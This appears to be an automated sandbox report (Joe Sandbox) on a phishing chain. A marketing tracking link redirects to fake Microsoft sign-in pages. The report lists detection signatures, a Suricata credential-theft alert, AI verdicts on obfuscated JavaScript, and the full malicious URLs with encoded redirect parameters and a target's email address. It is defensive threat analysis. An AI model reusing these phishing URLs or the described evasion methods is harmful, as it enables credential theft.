Edit tour

Windows Analysis Report
https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1

Overview

General Information

Sample URL:	https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1N
Analysis ID:	1571837
Infos:

Detection

HTMLPhisher

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Suricata IDS alerts for network traffic

Yara detected HtmlPhish54

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Phishing site or detected (based on various text indicators)

Detected hidden input values containing email addresses (often used in phishing pages)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 2028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 1228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,16803173520090594236,16514680076727720754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6604 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0=" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.19.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.25.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.10.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.11.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.9.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.13.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T18:42:15.879618+0100	2857090	1	Successful Credential Theft Detected	164.92.188.247	443	192.168.2.17	49763	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0=

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected phishing page

Source: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20=

Joe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft' is a well-known global technology company., The URL 'ameninternazionale.org' does not match the legitimate domain 'microsoft.com'., The domain 'ameninternazionale.org' does not have any obvious connection to Microsoft., The URL does not contain any recognizable elements related to Microsoft, which is suspicious., The use of a completely different domain name suggests a potential phishing attempt. DOM: 2.3.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 0.19.id.script.csv, type: HTML
Source: Yara match	File source: 0.25.id.script.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML
Source: Yara match	File source: 4.11.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML
Source: Yara match	File source: 4.13.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20=	Joe Sandbox AI: Page contains button: 'Submit' Source: '2.2.pages.csv'
Source: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20=	Joe Sandbox AI: Page contains button: 'Submit' Source: '2.4.pages.csv'
Source: https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20=	Joe Sandbox AI: Page contains button: 'Submit' Source: '2.3.pages.csv'

AI detected suspicious Javascript

Source: 0.23.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://offcap.myconm.com/?qe=3RVg... High risk due to multiple suspicious indicators: heavily obfuscated code (+3), array of encoded strings (+3), potential for dynamic code execution through array manipulation (+2). The code appears to be part of a malicious script that's intentionally obscured to avoid detection.
Source: 0.12.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://offcap.myconm.com/?qe=3RVg... Script shows multiple high-risk indicators: heavy obfuscation (encoded strings, unusual variable names), suspicious DOM manipulation patterns (multiple selectors for ad/tracking elements), and potential fingerprinting behavior (checking for browser features and user agent). Contains references to tracking, advertising, and potentially sensitive browser APIs.
Source: 0.19.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://offcap.myconm.com/?qe=3RVg... High risk due to multiple suspicious indicators: 1) Uses suspicious non-standard domains (myconm.com) masquerading as Microsoft domains 2) Contains obfuscated URLs and tokens 3) Appears to be a phishing attempt mimicking Microsoft login infrastructure 4) Contains data collection endpoints for potential credential harvesting
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://sphexams.com/.well-know/?0s57db=MTMmMTMmMT... High-risk script that uses multiple layers of obfuscation (base64, URL encoding, character manipulation, string reversal) to decode and execute potentially malicious content. It can either redirect to a decoded URL or inject arbitrary HTML via document.write(). The use of multiple encoding layers is a common malware technique to evade detection.
Source: 0.2.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ameninternazionale.org/.well-know/cd/re/#h... High-risk script showing multiple suspicious behaviors: 1) Uses obfuscated function names (_0x5a2b, _0x6b4d, etc.), 2) Implements base64 encoding/decoding potentially to hide malicious payloads, 3) Extracts and processes URL hash parameters which could contain encoded malicious content, 4) Uses deceptive UI messages suggesting document opening but redirects to potential phishing endpoint, 5) Implements delayed redirects through rdrct.php which could be used for phishing or malware distribution. The presence of CAPTCHA validation appears to legitimize malicious activity.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 2.4

OCR Text: Verifying... CLOUDFLARE Ten-ns CAPTCHA is mandatory. Submit Microsoft

Source: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com

HTTP Parser: bob@outlook.com

Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true

HTTP Parser: Number of links: 0

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://offcap.myconm.com/?qe=3RVg

HTTP Parser: Base64 decoded: a[href="http://www.salidzini.lv/"][style="display: block; width: 88px; height: 31px; overflow: hidden; position: relative;"]

Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com	HTTP Parser: Title: Sign in to your Microsoft account does not match URL

Sample URL: PII: jlim@vvblawyers.com&l

Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: Iframe src: https://aa45faf7-0e591a27.myconm.com/Prefetch/Prefetch.aspx
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: Iframe src: https://aa45faf7-0e591a27.myconm.com/Prefetch/Prefetch.aspx
Source: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com	HTTP Parser: Iframe src: https://b4cef784-0e591a27.myconm.com?session_id=970e892d5314442cb6158e07d409df4c&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SI

Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: <input type="password" .../> found
Source: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com	HTTP Parser: <input type="password" .../> found

Source: https://sphexams.com/.well-know/?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkU0JjEzY2s2RGNxR1hjb0NGZXtXSGVzemdsdHpmaWduc2tlaTQzJkczJmZzRzMmZWRHMyZ4cG9sLm1tZngvRzMmaHNwL2ZtYm9wantib3NmdW9qb2ZuYkczJkczJkI0JnRxdXVpRTQmbXN2QzQmMzMzJkU0JnVvZnVvcGQxMyYzMyZpdGZzZ2ZzMzMmRTQmd2p2cmYucXV1aTEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCYzMyY5LkdVVjMzJkU0JnVmdHNiaWQxMyZidWZuRDQmMTMmMTMmMTMmMTMmQjEmRjQm...	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No favicon
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No favicon

Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com	HTTP Parser: No <meta name="author".. found

Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://offcap.myconm.com/?qe=3RVg&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com	HTTP Parser: No <meta name="copyright".. found

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2857090 - Severity 1 - ETPRO PHISHING JS/PsyduckPockeball Payload Inbound : 164.92.188.247:443 -> 192.168.2.17:49763

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: webservice.ucampaign.unear.net to https://sphexams.com/.well-know/?0s57db=mtmmmtmmmtmmmtmmqjemrjqmb2jxdeczjkq0jk11bhdyvghheutzli45sjnynljyamy6cky0jjmzjnv5znuub2zlzwppmzmmrtqmdhribwqxmyzvynf0rdqmqjemrjqmbw51auczjkq0jkixjky0jnplcgnhmyzenczcmszgncz6zxbjrdqmqjemrjqmzwjmauczjkq0jkixjky0jmztenv0rzmmrdqmmtmmmtmmmtmmmtmmqjemrtgmmtmmmtmmmtmmmtmmmtmmmtmmmtmmmtmmqjemqzqmb2zlzwppmtmmqjqmenvqbwpjanrqdzezjjezjjezjjezjjezjjezjjezjjezjjezjjezjjezjjezjkixjkm0jmz1aml4mtmmqjqmc3btcgqxmyyxmyyxmyyxmyyxmyyxmyyxmyyxmyyxmyyxmyyxmyyxmyzcmszdocyxmyz1ewz1lm9mzwvqas8xmyyxmyyxmyyxmyyxmyyxmyyxmyyxmyzcmszgnczmbxp1deq0jjezjjezjjezjjezjkixjky0jmztdwp1rzmmrdqmzm5wsuy0jmztdwp1rdqmmtmmmtmmmtmmmtmmqjemrzmmkzezjmzzmtmmzwvimtmmrtqmrtqmrtqmrtqmrtqmrtqmrdqmmtmmk0czjjezjjezjky0jjmzjku0jjezy2s2rgnxr1hjb0ngzxtxsgvzemdsdhpmawduc2tlatqzjkczjmzzrzmmzwrhmyz4cg9slm1tzngvrzmmahnwl2ztym9wantib3nmdw9qb2zuykczjkczjki0jnrxdxvprtqmbxn2qzqmmzmzjku0jnvvznvvcgqxmyyzmyzpdgzzz2zzmzmmrtqmd2p2cmyucxv1atezjmj1zm5encyxmyyxmyyxmyyxmyzcmszgncyzmyy5lkdvvjmzjku0jnvmdhniawqxmyzidwzurdqmmtmmmtmmmtmmmtmmqjemrjqmzwjmauq0jkixjky0jm1udwlenczcmszgnczvynf0rzmmrdqmzgs3afpwrdqmdhs1tuu0jkxybxgxt1fnzfhqwxn7nxdhoxtrrtymq09gncyzmyz1ewz1lm9mzwvqatmzjku0jnr0ym1kmtmmb2jxdeq0jkixjg==

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
